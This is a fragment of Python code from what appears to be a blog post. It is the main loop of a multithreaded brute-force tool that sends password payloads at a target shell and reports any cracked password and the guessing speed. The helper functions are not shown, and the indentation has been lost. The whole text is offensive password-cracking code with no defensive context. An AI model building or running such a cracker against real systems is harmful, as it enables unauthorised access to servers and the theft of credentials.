def main():
global semaphore, sends
signal.signal(signal.SIGINT, interrupt_handler)
args = commandline()
print(' ( Shell:{shell}, Numbers:{max_request}, Threads:{max_threads}, Retry:{max_retry} )\n'.format(**args.__dict__))
semaphore = BoundedSemaphore(value=args.max_threads)
stopwatch_start = time.time()
for i, payload in enumerate(create_payload(args), 1):
if attack:
sends = i
semaphore.acquire()
t = Thread(target=crack, args=(i, args, payload))
t.setDaemon(True)
t.start()
for _ in range(args.max_threads):
semaphore.acquire()
stopwatch = time.time() - stopwatch_start
words = args.max_request * sends if sends else pwd_total
speed = words / stopwatch if stopwatch else 0
msg = '[Success] Password: {}'.format(pwd) if pwd else '[Failed] No password found'
print('\n\n{msg}\n[Finish] {words} words in {stopwatch:.3f} seconds. ({speed:.0f} w/s)'.format(**locals()))
评论列表
文章目录